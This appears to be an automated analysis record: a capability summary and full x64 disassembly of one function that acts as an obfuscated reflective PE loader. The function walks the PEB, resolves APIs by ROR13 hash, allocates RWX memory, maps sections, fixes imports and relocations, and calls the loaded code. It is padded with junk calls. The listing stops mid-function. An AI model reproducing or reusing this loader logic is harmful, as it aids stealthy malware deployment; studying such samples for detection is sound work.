Function at 0x18000385c
Capabilities:
Access peb ldr_data
Allocate or change rwx memory
Execute shellcode via indirect call
Identify system language via api
Parse pe header
Resolve function by hash
Resolve function by parsing pe exports

Disassembly:
mov r11, rsp
mov qword [r11 + 8], rcx
push rbx
push rsi
push rdi
push r12
push r13
push r14
push r15
sub rsp, 0x160
movaps xmmword [r11 - 0x48], xmm6
movaps xmmword [r11 - 0x58], xmm7
movaps xmmword [r11 - 0x68], xmm8
movaps xmmword [r11 - 0x78], xmm9
movaps xmmword [r11 - 0x88], xmm10
movaps xmmword [r11 - 0x98], xmm11
movaps xmmword [r11 - 0xa8], xmm12
movaps xmmword [r11 - 0xb8], xmm13
movaps xmmword [r11 - 0xc8], xmm14
movaps xmmword [r11 - 0xd8], xmm15
mov rdi, rcx
rdtscp
lea r8, [r11 + 0x10]
mov dword [r8], ecx
shl rdx, 0x20
or rax, rdx
mov r9d, 0x989680
cmp rax, r9
jbe 0x1800038e5
mov r15d, 0x3db97d4
mov qword [rsp + 0x48], r15
jmp 0x18000390d
rdtscp
lea r8, [rsp + 0x1a8]
mov dword [r8], ecx
shl rdx, 0x20
or rax, rdx
mov rcx, rax
xor edx, edx
mov rax, r9
div rcx
mov r15, rax
mov qword [rsp + 0x48], rax
rdtscp
lea r8, [rsp + 0x1a8]
mov dword [r8], ecx
shl rdx, 0x20
or rax, rdx
mov ecx, eax
imul r8, rcx, 0x509c
movabs rax, 0x58ed2308158ed231
mul r8
mov rax, r8
sub rax, rdx
shr rax, 1
add rax, rdx
shr rax, 6
imul rax, rax, 0x5f
sub r8, rax
lea eax, [r8 + 3]
mov dword [rsp + 0x1b0], eax
mov esi, eax
mov dword [rsp + 0x1a8], eax
movsxd rbx, r15d
xor r12d, r12d
mov qword [rsp + 0x28], r12
mov qword [rsp + 0x20], r12
mov qword [rsp + 0x60], r12
mov qword [rsp + 0x38], r12
mov eax, r12d
mov qword [rsp + 0x40], rax
mov qword [rsp + 0x88], rax
xorps xmm7, xmm7
movsd qword [rsp + 0x70], xmm7
movsd xmm14, qword [0x18002fe18]
movsd qword [rsp + 0xb0], xmm14
movsd xmm12, qword [0x18002fc98]
movsd qword [rsp + 0x68], xmm12
movsd xmm15, qword [0x18002fe30]
movsd qword [rsp + 0xb8], xmm15
movaps xmm0, xmm14
call fcn.180003714
xorps xmm0, xmm0
call fcn.180003714
mov rdi, qword [rdi]
mov qword [rsp + 0x78], rdi
lea eax, [r15 + 4]
cmp eax, esi
jle 0x180004ab5
mov r13d, 1
movsd xmm6, qword [0x18002fcd0]
movaps xmm0, xmm14
call fcn.180003714
movaps xmm8, xmm0
movaps xmm0, xmm7
call fcn.180003714
addsd xmm8, xmm0
mulsd xmm8, xmm12
divsd xmm8, xmm6
mov eax, 0x5a4d
cmp word [rdi], ax
jne 0x180004aa8
movsxd rcx, dword [rdi + 0x3c]
lea rax, [rcx - 0x40]
cmp rax, 0x3bf
ja 0x180004aa8
add rcx, rdi
mov qword [rsp + 0x58], rcx
cmp dword [rcx], 0x4550
jne 0x180004aa8
mov rax, qword gs:[0x60]
cmp r15d, esi
jle 0x180004a84
mov r14, qword [rax + 0x18]
mov qword [rsp + 0x30], r14
mov rsi, qword [r14 + 0x20]
mov qword [rsp + 0x1b8], rsi
test rsi, rsi
je 0x180003e83
mov rdi, qword [rsi + 0x50]
mov qword [rsp + 0x38], rdi
movzx r13d, word [rsi + 0x48]
lea rcx, [r13 + 1]
mov eax, 8
mul rcx
mov rcx, 0xffffffffffffffff
cmovo rax, rcx
mov rcx, rax
call fcn.1800089b4
mov r14, r12
test r13w, r13w
je 0x180003b90
mov r9d, dword [rsp + 0x1a8]
cmp r15d, r9d
jl 0x180003b65
mov ecx, r14d
call fcn.180004ba0
mov r14d, eax
cmp byte [rdi], 0x61
jb 0x180003afb
lea eax, [r15 + 4]
cmp eax, r9d
cmovle r15d, r9d
movzx eax, byte [rdi]
add r14, 0xffffffffffffffe0
add r14, rax
jmp 0x180003b4a
cmp r15d, r9d
je 0x180003b08
movzx eax, byte [rdi]
add r14, rax
jmp 0x180003b4a
movss xmm7, dword [0x18002fe98]
movss xmm6, dword [0x18002fe88]
call qword [sym.imp.KERNEL32.dll_IsSystemResumeAutomatic]
addss xmm6, xmm7
movaps xmm7, xmm6
movaps xmm0, xmm6
call fcn.1800036bc
movsxd rcx, eax
xorps xmm6, xmm6
cvtsi2ss xmm6, rcx
movaps xmm0, xmm6
mulss xmm0, xmm7
cvttss2si rbx, xmm0
cmp rbx, 0xf
jl 0x180003b18
mov eax, 0xffff
add r13w, ax
inc rdi
mov qword [rsp + 0x38], rdi
mov qword [rsp + 0x48], r15
jmp 0x180003ab9
mov esi, 0x38
lea edi, [rsi - 0x37]
call qword [sym.imp.KERNEL32.dll_GetUserDefaultUILanguage]
add esi, edi
mov eax, edi
cdq
idiv esi
movsxd rdi, eax
mov rbx, rdi
cmp rdi, 0x6c
je 0x180003b6d
mov rdi, qword [rsp + 0x38]
jmp 0x180003ac3
cmp r14d, 0x6a4abc5b
jne 0x180003dd2
lea eax, [r15 + r15]
mov ecx, dword [rsp + 0x1b0]
cmp eax, ecx
jge 0x180003c15
mov esi, 0x2c
movsd xmm7, qword [0x18002fcf8]
cmp rbx, 0x4a
jl 0x180003bb1
mov edi, esi
call qword [sym.imp.KERNEL32.dll_GetLargePageMinimum]
xorps xmm0, xmm0
cvtsd2ss xmm0, xmm7
call fcn.1800036bc
movd xmm6, eax
cvtdq2pd xmm6, xmm6
mov ecx, edi
call fcn.180002f7c
movaps xmm7, xmm0
cvttsd2si ecx, xmm6
call fcn.180002f7c
cvttsd2si eax, xmm0
movsx edi, al
movaps xmm2, xmm7
mulsd xmm2, xmm6
movd xmm1, edi
cvtdq2pd xmm1, xmm1
divsd xmm2, xmm1
cvttsd2si rbx, xmm2
cmp rbx, 0x4a
jge 0x180003bc1
jmp 0x180003bb1
mov rax, qword [rsp + 0x1b8]
mov r14, qword [rax + 0x20]
mov qword [rsp + 0x30], r14
movsxd rax, dword [r14 + 0x3c]
mov edi, dword [rax + r14 + 0x88]
mov r9d, dword [rdi + r14 + 0x20]
add r9, r14
mov r10d, dword [rdi + r14 + 0x24]
add r10, r14
mov r11d, 3
mov eax, r15d
cdq
sub eax, edx
sar eax, 1
mov esi, eax
lea r13d, [r11 - 2]
cmp esi, ecx
jl 0x180003d43
mov ecx, dword [r9]
add rcx, r14
mov r8d, r12d
mov dl, byte [rcx]
ror r8d, 0xd
movsx eax, dl
add r8d, eax
add rcx, r13
mov dl, byte [rcx]
test dl, dl
jne 0x180003c69
cmp r8d, 0xec0e4e8e
je 0x180003c9b
cmp r8d, 0x7c0dfcaa
je 0x180003c9b
cmp r8d, 0x91afca54
jne 0x180003d1b
mov ecx, dword [rsp + 0x1a8]
cmp r15d, ecx
jle 0x180003cc8
movzx edx, word [r10]
mov ecx, dword [rdi + r14 + 0x1c]
add rcx, r14
lea rax, [rcx + rdx*4]
mov qword [rsp + 0x80], rax
mov ecx, dword [rsp + 0x1a8]
jmp 0x180003cd0
mov rax, qword [rsp + 0x80]
cmp r8d, 0xec0e4e8e
jne 0x180003cea
cmp r15d, ecx
jle 0x180003d12
mov eax, dword [rax]
add rax, r14
mov qword [rsp + 0x28], rax
jmp 0x180003d12
cmp r8d, 0x7c0dfcaa
jne 0x180003cff
mov eax, dword [rax]
add rax, r14
mov qword [rsp + 0x20], rax
jmp 0x180003d12
cmp r8d, 0x91afca54
jne 0x180003d12
mov eax, dword [rax]
add rax, r14
mov qword [rsp + 0x60], rax
mov eax, 0xffff
add r11w, ax
cmp r15d, dword [rsp + 0x1a8]
jle 0x180003d2d
add r9, 4
add r10, 2
test r11w, r11w
je 0x180003ddd
mov ecx, dword [rsp + 0x1b0]
jmp 0x180003c56
movss xmm7, dword [0x18002fca0]
movsd xmm2, qword [0x18002fd10]
movsd xmm3, qword [0x18002fd90]
cmp rbx, 0x1d
jge 0x180003d87
movaps xmm0, xmm2
divsd xmm0, xmm2
movaps xmm2, xmm0
movaps xmm1, xmm3
divsd xmm1, xmm3
movaps xmm3, xmm1
movaps xmm0, xmm1
addsd xmm0, xmm2
cvttsd2si rax, xmm0
cmp rax, 0x1d
jl 0x180003d61
movss xmm6, dword [0x18002fea0]
call qword [sym.imp.GDI32.dll_GdiFlush]
movaps xmm0, xmm7
mulss xmm0, xmm6
cvttss2si rbx, xmm0
cvttss2si ecx, xmm6
call fcn.180002bf4
xorps xmm6, xmm6
cvtsi2ss xmm6, rax
xorps xmm0, xmm0
cvtsi2ss xmm0, rbx
mulss xmm0, xmm6
addss xmm0, xmm7
cvttss2si rbx, xmm0
cmp rbx, 0x74
jg 0x180003d8f
jmp 0x180003d4b
mov r13d, 1
mov r14, qword [rsp + 0x30]
cmp qword [rsp + 0x28], r12
je 0x180003f65
cmp qword [rsp + 0x20], r12
je 0x180003f65
cmp qword [rsp + 0x60], r12
je 0x180003f65
cmp r15d, dword [rsp + 0x1b0]
jne 0x180003e7b
cmp rbx, 0x5b
jg 0x180003e2e
call qword [sym.imp.USER32.dll_CountClipboardFormats]
xor eax, eax
cdq
idiv r12d
movd xmm0, eax
cvtdq2ps xmm0, xmm0
divss xmm0, dword [0x18002fc64]
cvttss2si rbx, xmm0
cmp rbx, 0x75
jg 0x180003e61
mov ecx, 0x61
call fcn.180002f7c
cvttsd2si eax, xmm0
movsx eax, al
movd xmm1, eax
cvtdq2ps xmm1, xmm1
movss xmm0, dword [0x18002fe80]
subss xmm0, xmm1
divss xmm1, xmm0
cvttss2si rbx, xmm1
mov eax, 0x16
cmp rbx, 0x78
je 0x180003e08
imul rax, rax
mov rbx, rax
cmp rax, 0x78
jne 0x180003e6c
jmp 0x180003e08
mov rsi, qword [rsp + 0x1b8]
mov edi, r13d
movsd xmm10, qword [0x18002fcb0]
movaps xmm0, xmm10
movsd xmm11, qword [0x18002fca8]
movsd xmm9, qword [0x18002fc90]
xorps xmm7, xmm7
movsd xmm12, qword [0x18002fc98]
subsd xmm0, xmm11
mulsd xmm0, xmm12
addsd xmm0, xmm7
call fcn.180003714
mulsd xmm0, xmm9
addsd xmm8, xmm0
add edi, r13d
movd xmm0, edi
cvtdq2pd xmm0, xmm0
comisd xmm15, xmm0
jae 0x180003eb1
lea eax, [r15 + 4]
cmp eax, dword [rsp + 0x1a8]
jle 0x180003f75
mov r14, qword [rsp + 0x78]
movsxd rax, dword [r14 + 0x3c]
add rax, r14
mov qword [rsp + 0x58], rax
mov esi, dword [rax + 0x54]
mov qword [rsp + 0x38], r14
mov qword [rsp + 0x60], r14
mov edx, dword [rax + 0x50]
xor ecx, ecx
lea r9d, [rcx + 0x40]
mov r8d, 0x3000
call qword [sym.imp.KERNEL32.dll_VirtualAlloc]
mov qword [rsp + 0x30], rax
mov qword [rsp + 0xa0], rax
mov rdi, rax
mov qword [rsp + 0x40], rax
mov qword [rsp + 0x88], rax
mov qword [rsp + 0x50], rbx
mov rax, qword [rsp + 0x28]
mov qword [rsp + 0x90], rax
mov rax, qword [rsp + 0x20]
mov qword [rsp + 0x98], rax
jmp 0x18000407c
mov rsi, qword [rsp + 0x1b8]
mov rsi, qword [rsi]
jmp 0x180003a78
movss xmm6, dword [0x18002fe84]
movsd xmm7, qword [0x18002fd70]
mov qword [rsp + 0x48], r15
mov rax, qword [rsp + 0x28]
mov qword [rsp + 0x28], rax
mov qword [rsp + 0x90], rax
mov rax, qword [rsp + 0x20]
mov qword [rsp + 0x20], rax
mov qword [rsp + 0x98], rax
mov qword [rsp + 0xa0], r14
mov r14, qword [rsp + 0x38]
mov qword [rsp + 0x60], r14
call qword [sym.imp.USER32.dll_GetProcessWindowStation]
xorps xmm0, xmm0
cvtss2sd xmm0, xmm6
addsd xmm0, xmm7
cvtpd2ps xmm1, xmm0
addss xmm6, xmm1
movaps xmm0, xmm6
mulss xmm0, xmm1
xorps xmm7, xmm7
cvtss2sd xmm7, xmm0
subss xmm1, xmm6
cvtps2pd xmm0, xmm1
subsd xmm0, xmm7
cvttsd2si rax, xmm0
cmp rax, 0x17
jl 0x180003fc0
cmp rax, 0x25
jge 0x18000400c
movaps xmm0, xmm10
call fcn.180003418
movss xmm6, dword [0x18002fe74]
movss xmm2, dword [0x18002fe6c]
divss xmm6, xmm2
cvttss2si ecx, xmm2
call fcn.180002bf4
xorps xmm2, xmm2
cvtsi2ss xmm2, rax
movaps xmm0, xmm2
mulss xmm0, xmm2
cvttss2si eax, xmm0
movaps xmm1, xmm2
mulss xmm1, xmm6
movd xmm0, eax
cvtdq2ps xmm0, xmm0
mulss xmm1, xmm0
cvttss2si rbx, xmm1
mov qword [rsp + 0x50], rbx
cmp rbx, 0x12
jl 0x18000401c
cmp rbx, 0x75
jg 0x180004076
call qword [sym.imp.USER32.dll_EmptyClipboard]
mov rbx, 0xffffffffffffff97
mov qword [rsp + 0x50], rbx
mov rdi, r12
xorps xmm7, xmm7
movsd qword [rsp + 0x80], xmm8
movsd xmm6, qword [0x18002fc98]
mov rax, rsi
sub rsi, r13
mov qword [rsp + 0xa8], rsi
test rax, rax
je 0x1800041b5
lea eax, [r15 + 4]
cmp eax, dword [rsp + 0x1a8]
cmovle r15d, dword [rsp + 0x1a8]
mov qword [rsp + 0x48], r15
mov dword [rsp + 0x1b8], r15d
movsd xmm0, qword [0x18002fc88]
call fcn.180003714
mulsd xmm0, xmm9
addsd xmm8, xmm0
movsd qword [rsp + 0x80], xmm8
mov al, byte [r14]
mov byte [rdi], al
add rdi, r13
mov qword [rsp + 0x40], rdi
mov qword [rsp + 0x88], rdi
add r14, r13
mov qword [rsp + 0x38], r14
mov qword [rsp + 0x60], r14
jmp 0x18000408e
mov edi, r13d
movaps xmm0, xmm10
movsd xmm12, qword [0x18002fc80]
movsd xmm13, qword [0x18002fe28]
mulsd xmm0, xmm6
addsd xmm0, xmm7
call fcn.180003714
mulsd xmm0, xmm12
addsd xmm8, xmm0
add edi, r13d
movd xmm0, edi
cvtdq2pd xmm0, xmm0
comisd xmm13, xmm0
jae 0x1800041ce
movaps xmm0, xmm14
call fcn.180003714
movaps xmm6, xmm0
movaps xmm0, xmm7
call fcn.180003714
addsd xmm6, xmm0
movsd xmm8, qword [rsp + 0x68]
mulsd xmm6, xmm8
divsd xmm6, qword [0x18002fce0]
mov r14, qword [rsp + 0x58]
movzx eax, word [r14 + 0x14]
add rax, r14
movzx esi, word [r14 + 6]
test rsi, rsi
je 0x18000431b
lea r14d, [r15 + r15]
lea rdi, [rax + 0x2c]
mov r15, qword [rsp + 0x30]
sub rsi, r13
cmp r14d, dword [rsp + 0x1a8]
jl 0x180004298
mov r8d, dword [rdi - 8]
add r8, r15
mov qword [rsp + 0x38], r8
mov edx, dword [rdi]
add rdx, qword [rsp + 0x78]
mov qword [rsp + 0x40], rdx
mov ecx, dword [rdi - 4]
test rcx, rcx
je 0x180004292
mov al, byte [rdx]
mov byte [r8], al
add r8, r13
add rdx, r13
sub rcx, r13
jne 0x180004278
mov qword [rsp + 0x38], r8
mov qword [rsp + 0x40], rdx
add rdi, 0x28
jmp 0x1800042fb
mov ebx, 0x3d
call qword [sym.imp.USER32.dll_GetProcessWindowStation]
xorps xmm0, xmm0
cvtsi2ss xmm0, rbx
call fcn.1800036bc
movsxd rbx, eax
cmp rbx, 0x67
jle 0x18000429d
movss xmm7, dword [0x18002fe58]
mov rax, qword [rsp + 0x28]
mov qword [rsp + 0x28], rax
mov rax, qword [rsp + 0x20]
mov qword [rsp + 0x20], rax
call qword [sym.imp.USER32.dll_GetKBCodePage]
xorps xmm0, xmm0
divss xmm0, xmm7
movaps xmm7, xmm0
movaps xmm1, xmm0
mulss xmm1, dword [0x18002fc64]
cvttss2si rbx, xmm1
cmp rbx, 7
jge 0x1800042d5
test rsi, rsi
jne 0x18000424b
mov r15, qword [rsp + 0x48]
movsd xmm7, qword [rsp + 0x70]
mov r14, qword [rsp + 0x58]
mov rsi, qword [rsp + 0x28]
jmp 0x18000432f
mov rsi, qword [rsp + 0x28]
mov qword [rsp + 0x28], rsi
mov rax, qword [rsp + 0x20]
mov qword [rsp + 0x20], rax
mov edi, r13d
movaps xmm0, xmm10
subsd xmm0, xmm11
mulsd xmm0, xmm8
addsd xmm0, xmm7
call fcn.180003714
mulsd xmm0, xmm9
addsd xmm6, xmm0
add edi, r13d
movd xmm0, edi
cvtdq2pd xmm0, xmm0
comisd xmm15, xmm0
jae 0x180004336
cmp r15d, dword [rsp + 0x1a8]
je 0x18000438e
lea rcx, [r14 + 0x90]
mov qword [rsp + 0x38], rcx
mov edi, dword [rcx]
mov rdx, qword [rsp + 0x30]
add rdi, rdx
mov qword [rsp + 0x40], rdi
jmp 0x1800044c7
mov eax, 0x21
mov qword [rsp + 0x28], rsi
cmp rbx, 0x68
jle 0x1800043b8
mov rcx, qword [rsp + 0x20]
mov qword [rsp + 0x20], rcx
imul eax, eax
mov ebx, eax
mov eax, r13d
cmp rbx, 0x68
ja 0x1800043a8
jmp 0x1800043d6
mov rdx, qword [rsp + 0x38]
mov qword [rsp + 0x38], rdx
mov rax, qword [rsp + 0x40]
mov qword [rsp + 0x40], rax
mov rax, qword [rsp + 0x20]
mov qword [rsp + 0x20], rax
cmp rbx, 0x57
jle 0x180004470
call qword [sym.imp.USER32.dll_CountClipboardFormats]
movsd xmm9, qword [0x18002fda0]
movsd xmm8, qword [0x18002fda8]
movss xmm0, dword [0x18002fe8c]
call fcn.1800036bc
movd xmm0, eax
cvtdq2ps xmm0, xmm0
addss xmm0, dword [0x18002fe68]
cvttss2si rax, xmm0
cmp rax, 0x37
jg 0x180004469
movsd xmm7, qword [0x18002fcf0]
call qword [sym.imp.KERNEL32.dll_SwitchToThread]
mulsd xmm9, xmm7
mulsd xmm8, xmm9
subsd xmm7, xmm9
cvttsd2si eax, xmm7
movsx eax, al
movd xmm7, eax
cvtdq2pd xmm7, xmm7
movaps xmm0, xmm8
mulsd xmm0, xmm9
mulsd xmm0, xmm7
cvttsd2si rax, xmm0
cmp rax, 0x37
jle 0x180004427
movsd xmm7, qword [rsp + 0x70]
movsd xmm8, qword [rsp + 0x68]
call qword [sym.imp.USER32.dll_CountClipboardFormats]
mov esi, 0x2c
lea r14d, [rsi - 0x20]
call qword [sym.imp.USER32.dll_GetCursor]
lea edi, [rsi + rsi]
movd xmm0, edi
cvtdq2ps xmm0, xmm0
call fcn.1800036bc
movsx esi, al
movd xmm0, r14d
cvtdq2pd xmm0, xmm0
call fcn.180003418
movsx r14d, al
lea eax, [rsi + r14]
add eax, edi
movsxd rbx, eax
cmp rbx, 0x6c
jne 0x18000447f
mov rdx, qword [rsp + 0x30]
mov rdi, qword [rsp + 0x40]
mov rcx, qword [rsp + 0x38]
mov eax, dword [rdi + 0xc]
test eax, eax
je 0x180004630
cmp dword [rcx], r12d
je 0x180004630
cmp r15d, dword [rsp + 0x1b0]
jle 0x1800045b5
mov ecx, eax
add rcx, rdx
call qword [rsp + 0x28]
mov r14, rax
mov esi, dword [rdi]
mov rdx, qword [rsp + 0x30]
add rsi, rdx
mov edi, dword [rdi + 0x10]
add rdi, rdx
cmp qword [rdi], r12
je 0x180004592
mov r15, rdx
test rsi, rsi
je 0x18000455d
cmp qword [rsi], r12
jge 0x18000455d
movsxd rax, dword [r14 + 0x3c]
mov ecx, dword [rax + r14 + 0x88]
mov eax, dword [rcx + r14 + 0x10]
movzx edx, word [rsi]
sub rdx, rax
mov ecx, dword [rcx + r14 + 0x1c]
add rcx, r14
mov eax, dword [rcx + rdx*4]
add rax, r14
mov qword [rdi], rax
add rdi, 8
mov rax, qword [rsp + 0x28]
mov qword [rsp + 0x28], rax
mov rax, qword [rsp + 0x20]
mov qword [rsp + 0x20], rax
jmp 0x18000457f
mov rdx, qword [rdi]
add rdx, r15
mov qword [rsp + 0x38], rdx
add rdx, 2
mov rcx, r14
call qword [rsp + 0x20]
mov qword [rdi], rax
add rdi, 8
test rsi, rsi
je 0x180004583
add rsi, 8
cmp qword [rdi], r12
jne 0x180004511
mov r15, qword [rsp + 0x48]
mov rdx, qword [rsp + 0x30]
mov rdi, qword [rsp + 0x40]
add rdi, 0x14
mov qword [rsp + 0x40], rdi
mov eax, dword [rdi + 0xc]
test eax, eax
je 0x180004630
mov rcx, qword [rsp + 0x38]
jmp 0x1800044d2
cmp rbx, 0x60
jle 0x180004622
call qword [sym.imp.KERNEL32.dll_GetLastError]
mov ecx, 5
call fcn.180002f7c
movsd xmm0, qword [0x18002fcd0]
call fcn.180003418
movsd xmm7, qword [0x18002fde0]
movsd xmm1, qword [0x18002fd00]
addsd xmm1, xmm7
movaps xmm6, xmm1
movaps xmm7, xmm1
subsd xmm7, xmm1
cvtpd2ps xmm0, xmm6
call fcn.1800036bc
movsxd rcx, eax
xorps xmm1, xmm1
cvtsi2sd xmm1, rcx
movaps xmm0, xmm7
mulsd xmm0, xmm6
subsd xmm0, xmm1
cvttsd2si rbx, xmm0
cmp rbx, 0x43
je 0x1800045e8
jmp 0x1800045b5
cmp rbx, 0x43
jne 0x1800045c1
call qword [sym.imp.KERNEL32.dll_GetSystemDefaultUILanguage]
jmp 0x1800045d8
mov edi, r13d
movaps xmm0, xmm10
mulsd xmm0, xmm8
addsd xmm0, xmm7
call fcn.180003714
mulsd xmm0, xmm12
addsd xmm6, xmm0
add edi, r13d
movd xmm0, edi
cvtdq2pd xmm0, xmm0
comisd xmm13, xmm0
jae 0x180004637
mov rsi, qword [rsp + 0x30]
mov r14, rsi
mov rax, qword [rsp + 0x58]
sub r14, qword [rax + 0x30]
cmp dword [rax + 0xb4], r12d
je 0x18000485b
mov r10d, dword [rsp + 0x1a8]
cmp r15d, r10d
cmove r15d, r10d
mov esi, dword [rax + 0xb0]
mov rcx, qword [rsp + 0x30]
add rsi, rcx
mov edi, 0xfff
cmp dword [rsi + 4], r12d
je 0x180004849
mov eax, r15d
cdq
sub eax, edx
sar eax, 1
cmp eax, r10d
cmovl r15d, r10d
mov edx, dword [rsi]
add rdx, rcx
mov r8d, dword [rsi + 4]
sub r8, 8
shr r8, 1
lea r9, [rsi + 8]
test r8, r8
je 0x180004746
sub r8, r13
cmp r15d, dword [rsp + 0x1b0]
jl 0x18000475a
movzx ecx, word [r9]
movzx eax, cx
shr ax, 0xc
cmp ax, 0xa
jne 0x1800046f9
and rcx, rdi
add qword [rcx + rdx], r14
jmp 0x180004738
mov r11d, 3
cmp ax, r11w
jne 0x18000470e
and rcx, rdi
add dword [rcx + rdx], r14d
jmp 0x180004738
cmp ax, r13w
jne 0x180004724
and rcx, rdi
mov rax, r14
shr rax, 0x10
add word [rcx + rdx], ax
jmp 0x180004738
mov r11d, 2
cmp ax, r11w
jne 0x180004738
and rcx, rdi
add word [rcx + rdx], r14w
add r9, 2
test r8, r8
jne 0x1800046d2
mov rcx, qword [rsp + 0x30]
lea eax, [r15 + 4]
cmp eax, r10d
jle 0x1800047be
mov eax, dword [rsi + 4]
add rsi, rax
jmp 0x1800046a0
mov ebx, 0x2d
call qword [sym.imp.USER32.dll_GetShellWindow]
add ebx, ebx
cmp ebx, 0x12
jg 0x18000475f
cmp ebx, 0xb
jl 0x180004785
mov cl, 0x71
call fcn.180002bf4
movss xmm0, dword [0x18002fe90]
call fcn.1800036bc
movss xmm6, dword [0x18002fe70]
movaps xmm0, xmm6
call fcn.1800036bc
movd xmm6, eax
cvtdq2ps xmm6, xmm6
cvtps2pd xmm0, xmm6
call fcn.180003418
movsx ecx, al
movd xmm0, ecx
cvtdq2ps xmm0, xmm0
addss xmm0, xmm6
cvttss2si rax, xmm0
test rax, rax
js 0x18000478d
jmp 0x18000475a
cmp rbx, 0x75
jne 0x1800047dc
lea ecx, [rbx - 0x5e]
call fcn.180002f7c
cvttsd2si eax, xmm0
movsx eax, al
lea ecx, [rax + 0x52]
cdq
idiv ecx
movsxd rbx, eax
mov edi, 0x50
cmp rbx, 0x38
je 0x180004802
call qword [sym.imp.KERNEL32.dll_GetSystemDefaultLangID]
lea rax, [rdi + rdi]
imul rdi, rax
mov rcx, rdi
imul rcx, rax
cmp rcx, 0x38
jne 0x1800047e7
movsd xmm0, qword [0x18002fd68]
call fcn.180003418
movsx ecx, al
mov eax, 5
cdq
idiv ecx
movsxd rdx, eax
lea eax, [rcx - 5]
movsxd rcx, eax
sub rdx, rcx
cmp rdx, 0x76
jg 0x180004832
call qword [sym.imp.USER32.dll_GetForegroundWindow]
mov ebx, 0x1729
mov rcx, qword [rsp + 0x30]
mov r10d, dword [rsp + 0x1a8]
jmp 0x18000469b
movsd xmm7, qword [rsp + 0x70]
movsd xmm8, qword [rsp + 0x68]
mov rsi, qword [rsp + 0x30]
mov edi, r13d
mulsd xmm10, xmm8
addsd xmm10, xmm7
movaps xmm0, xmm10
call fcn.180003714
mulsd xmm0, xmm12
addsd xmm6, xmm0
add edi, r13d
movd xmm10, edi
cvtdq2pd xmm10, xmm10
comisd xmm13, xmm10
jae 0x18000485e
cmp r15d, dword [rsp + 0x1b0]
jne 0x180004969
cmp rbx, 0x76
jne 0x1800048d4
call qword [sym.imp.KERNEL32.dll_GetACP]
lea ecx, [rbx - 0x3e]
call fcn.180002f7c
xorps xmm6, xmm6
cvtsd2ss xmm6, xmm0
movss xmm0, dword [0x18002fe54]
call fcn.1800036bc
movd xmm0, eax
cvtdq2ps xmm0, xmm0
subss xmm6, xmm0
cvttss2si rbx, xmm6
movsd xmm6, qword [0x18002fd88]
jmp 0x1800048f3
call qword [sym.imp.KERNEL32.dll_AreFileApisANSI]
movaps xmm0, xmm6
subsd xmm0, xmm6
movaps xmm6, xmm0
cvttsd2si rbx, xmm0
cmp rbx, 0x7d
jg 0x1800048de
cmp rbx, 0x61
jge 0x18000493d
call qword [sym.imp.USER32.dll_CreateMenu]
mov ecx, 0x44
call fcn.180002f7c
cvttsd2si rax, xmm0
cmp rax, 0x65
jl 0x18000493d
movsd xmm0, qword [0x18002fdb8]
call fcn.180003418
movsx edi, al
movd xmm0, edi
cvtdq2ps xmm0, xmm0
call fcn.1800036bc
movsx ecx, al
sub edi, ecx
jmp 0x180004961
mov ecx, 0x72
call fcn.180002f7c
cvttsd2si eax, xmm0
movsx ebx, al
movd xmm0, ebx
cvtdq2pd xmm0, xmm0
call fcn.180003418
movsx edi, al
imul edi, ebx
movsxd rbx, edi
jmp 0x18000489c
mov rcx, qword [rsp + 0x58]
mov ebx, dword [rcx + 0x28]
add rbx, rsi
mov r14, qword [rsp + 0x1a0]
mov rcx, rsi
cmp byte [r14 + 8], r12b
jne 0x180004a45
mov rdx, qword [r14 + 0x10]
call fcn.18000376c
mov rdi, rax
test rax, rax
je 0x180004a4d
cmp byte [r14 + 0x3c], r12b
je 0x1800049d7
mov r8, qword [r14 + 0x40]
test r8, r8
je 0x1800049d7
mov rcx, qword gs:[0x60]
mov rdx, qword [rcx + 0x18]
add rdx, 0x20
mov rcx, qword [rdx]
jmp 0x1800049cc
cmp qword [rcx + 0x20], r8
je 0x1800049d3
mov rcx, qword [rcx]
cmp rcx, rdx
jne 0x1800049c3
jmp 0x1800049d7
mov qword [rcx + 0x20], rsi
xor r8d, r8d
mov edx, r13d
mov rcx, rsi
call rbx
mov r9d, dword [r14 + 0x38]
mov r8, qword [r14 + 0x30]
mov rdx, qword [r14 + 0x28]
mov rcx, qword [r14 + 0x20]
call rdi
cdqe
lea r11, [rsp + 0x160]
movaps xmm6, xmmword [r11 - 0x10]
movaps xmm7, xmmword [r11 - 0x20]
movaps xmm8, xmmword [r11 - 0x30]
movaps xmm9, xmmword [r11 - 0x40]
movaps xmm10, xmmword [r11 - 0x50]
movaps xmm11, xmmword [r11 - 0x60]
movaps xmm12, xmmword [r11 - 0x70]
movaps xmm13, xmmword [r11 - 0x80]
movaps xmm14, xmmword [r11 - 0x90]
movaps xmm15, xmmword [r11 - 0xa0]
mov rsp, r11
pop r15
pop r14
pop r13
pop r12
pop rdi
pop rsi
pop rbx
ret
xor r8d, r8d
mov edx, r13d
call rbx
xor ecx, ecx
movsd xmm0, qword [0x18002fea8]
comisd xmm6, xmm0
jb 0x180004a74
subsd xmm6, xmm0
comisd xmm6, xmm0
jae 0x180004a74
movabs rax, 0x8000000000000000
mov rcx, rax
cvttsd2si rax, xmm6
add rax, rcx
add rax, rbx
jmp 0x1800049f6
movss xmm1, dword [0x18002fe50]
jmp 0x180004a9d
movaps xmm0, xmm1
subss xmm0, xmm1
movaps xmm1, xmm0
cvttss2si rbx, xmm0
cmp rbx, 0x4a
jne 0x180004a8e
jmp 0x180003a62
sub rdi, r13
mov qword [rsp + 0x78], rdi
jmp 0x1800039ff
cmp rbx, 5
jge 0x180004af2
call qword [sym.imp.KERNEL32.dll_GetACP]
mov ecx, 0x36
call fcn.180002f7c
cvttsd2si eax, xmm0
movsx ecx, al
movd xmm1, ecx
cvtdq2ps xmm1, xmm1
movss xmm0, dword [0x18002fc70]
divss xmm0, xmm1
cvttss2si rax, xmm0
cmp rax, 0x55
jg 0x180004af8
jmp 0x180004b49
call qword [sym.imp.USER32.dll_GetMessageTime]
call qword [sym.imp.USER32.dll_CountClipboardFormats]
movss xmm0, dword [0x18002fe7c]
call fcn.1800036bc
movsxd rbx, eax
mov cl, 0x7d
call fcn.180002bf4
xorps xmm1, xmm1
cvtsi2sd xmm1, rax
xorps xmm0, xmm0
cvtsi2sd xmm0, rbx
mulsd xmm0, qword [0x18002fe00]
mulsd xmm1, xmm0
cvttsd2si rax, xmm1
cmp rax, 0x1f
jge 0x180004b49
call qword [sym.imp.USER32.dll_InSendMessage]
mov cl, 0x4a
call fcn.180002bf4
movss xmm2, dword [0x18002fe48]
movss xmm1, dword [0x18002fe94]
pause
movaps xmm6, xmm1
mulss xmm6, xmm2
addss xmm1, xmm2
